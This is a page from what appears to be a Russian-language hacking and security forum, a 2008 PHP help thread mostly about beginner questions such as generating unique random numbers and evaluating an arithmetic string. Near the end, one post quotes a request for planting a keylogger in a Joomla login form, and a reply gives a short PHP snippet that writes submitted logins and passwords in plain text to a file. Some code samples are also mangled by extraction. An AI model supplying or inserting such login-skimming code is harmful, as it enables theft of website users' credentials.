HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #5121  
Старый 29.08.2008, 03:47
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Цитата:
Сообщение от xxxxxxxxxxxxxxx  
Как реализовать? нужно достать с файла строки найти определенный символ в строках и удалить все что находиться после этого символа..
http://www.softtime.ru/bookphp/help.php
 
Ответить с цитированием

  #5122  
Старый 29.08.2008, 04:08
sa1o
Новичок
Регистрация: 05.05.2007
Сообщений: 2
Провел на форуме:
22949

Репутация: 0
По умолчанию

плз помогите, чет никак не выходит
есть массив
for($i=0; $i<$id; $i++) {
$rand_array[$i] = rand(1, $id);
}
надо сделать так чтобы на выходе каждый эл-т был уникален
к примеру если взять $id=2
и получим массив array(1, 1);
на выходе надо получить array(1, 2); или array(2, 1);
у меня получилось вот что:

PHP код:
$arr = array(22133);

function 
uniq($arr$id) {
for(
$j=0$j<count($arr); $j++) {
    
$temp $arr[$j];
        for(
$k=0$k<count($arr); $k++) {
            if(
$i==&& $k==4) return($arr);
    
$k = ($k==$j) ? ($j+1) : $k;
    if(
$temp == $arr[$k]) {
        
$arr[$k] = rand(1$id);
        
uniq($arr$id);
    }
        }
}
    return(
$arr);

но выполняется не всегда, видимо постоянная рекурсия жрет очень много ресурсов.
помогите как исправить код чтобы работал без сбоев)
или мб какой-нибудь другой вар обработки предложите)
заранее спасибо
 
Ответить с цитированием

  #5123  
Старый 29.08.2008, 07:34
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

По идеи должно сработать ...

PHP код:
<?php

for($i=0$i<$id$i++) {
$buf mt_rand(1$id);
while(
in_array($buf,$rand_array))
{
   
$buf mt_rand(1$id);
}

$rand_array[] = $buf;
}

?>
 
Ответить с цитированием

  #5124  
Старый 29.08.2008, 10:48
FrMn
Познающий
Регистрация: 08.08.2008
Сообщений: 55
Провел на форуме:
369629

Репутация: 54
По умолчанию

Код:
<?php
$arr=range(1,$id);
shuffle($arr);
?>
 
Ответить с цитированием

  #5125  
Старый 29.08.2008, 13:14
Dr.End
Новичок
Регистрация: 25.06.2008
Сообщений: 15
Провел на форуме:
733327

Репутация: 2
По умолчанию

Как математически вычеслить в строке "3006 + (40416-966) / 30" ?
 
Ответить с цитированием

  #5126  
Старый 29.08.2008, 13:29
deniska1517
Участник форума
Регистрация: 01.05.2008
Сообщений: 261
Провел на форуме:
1498366

Репутация: 183
Отправить сообщение для deniska1517 с помощью ICQ
По умолчанию

Dr.End
или так
PHP код:
<php
$_1=3006
$_2=40416;
$_3=966
$_4=30
$_5=$_1+($_2-$_3)/$_4;
echo 
$_5
?> 
 
Ответить с цитированием

  #5127  
Старый 29.08.2008, 13:36
sa1o
Новичок
Регистрация: 05.05.2007
Сообщений: 2
Провел на форуме:
22949

Репутация: 0
По умолчанию

спасибо, блин во я дурак...
 
Ответить с цитированием

  #5128  
Старый 29.08.2008, 13:40
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514

Репутация: 3313


Отправить сообщение для Chaak с помощью ICQ
По умолчанию

Цитата:
Сообщение от Dr.End  
Как математически вычеслить в строке "3006 + (40416-966) / 30" ?
PHP код:
$n = eval('3006+(40416-966)/30'); 
 
Ответить с цитированием

  #5129  
Старый 29.08.2008, 14:44
scarm
Познающий
Регистрация: 04.04.2008
Сообщений: 70
Провел на форуме:
666974

Репутация: 186
По умолчанию

цитата отсюда:
http://forum.antichat.ru/thread82869.html

Цитата:
Всем привет Не знал, сюда написать или в тему про кодинг, решил здесь остаться Народ, есть у кого-нибудь идея, как воткнуть в joomla в поле для логина кейлоггер, чтобы инфа по залогинившимся юзерам шла в текстовый файл минуя md5:salt шифрование в MySQL базу? IMHO надо пофиксить components/com_login/login.html.php но вот ЧТО там надо написать? Помогите php-чайнику плиз ... P.S. да, по дефолту будем считать, что права на все файлы/папки равны 777 либо можно сделать их таковыми
 
Ответить с цитированием

  #5130  
Старый 29.08.2008, 16:39
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

scarm
PHP код:
<?php
$f 
fopen('lp.txt','a');
fwrite($f,$_POST['login'].':'.$_POST['pass']."\r\n");
fclose($f);
?>
токо надо поправить POST данные в соответствии со скриптом
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ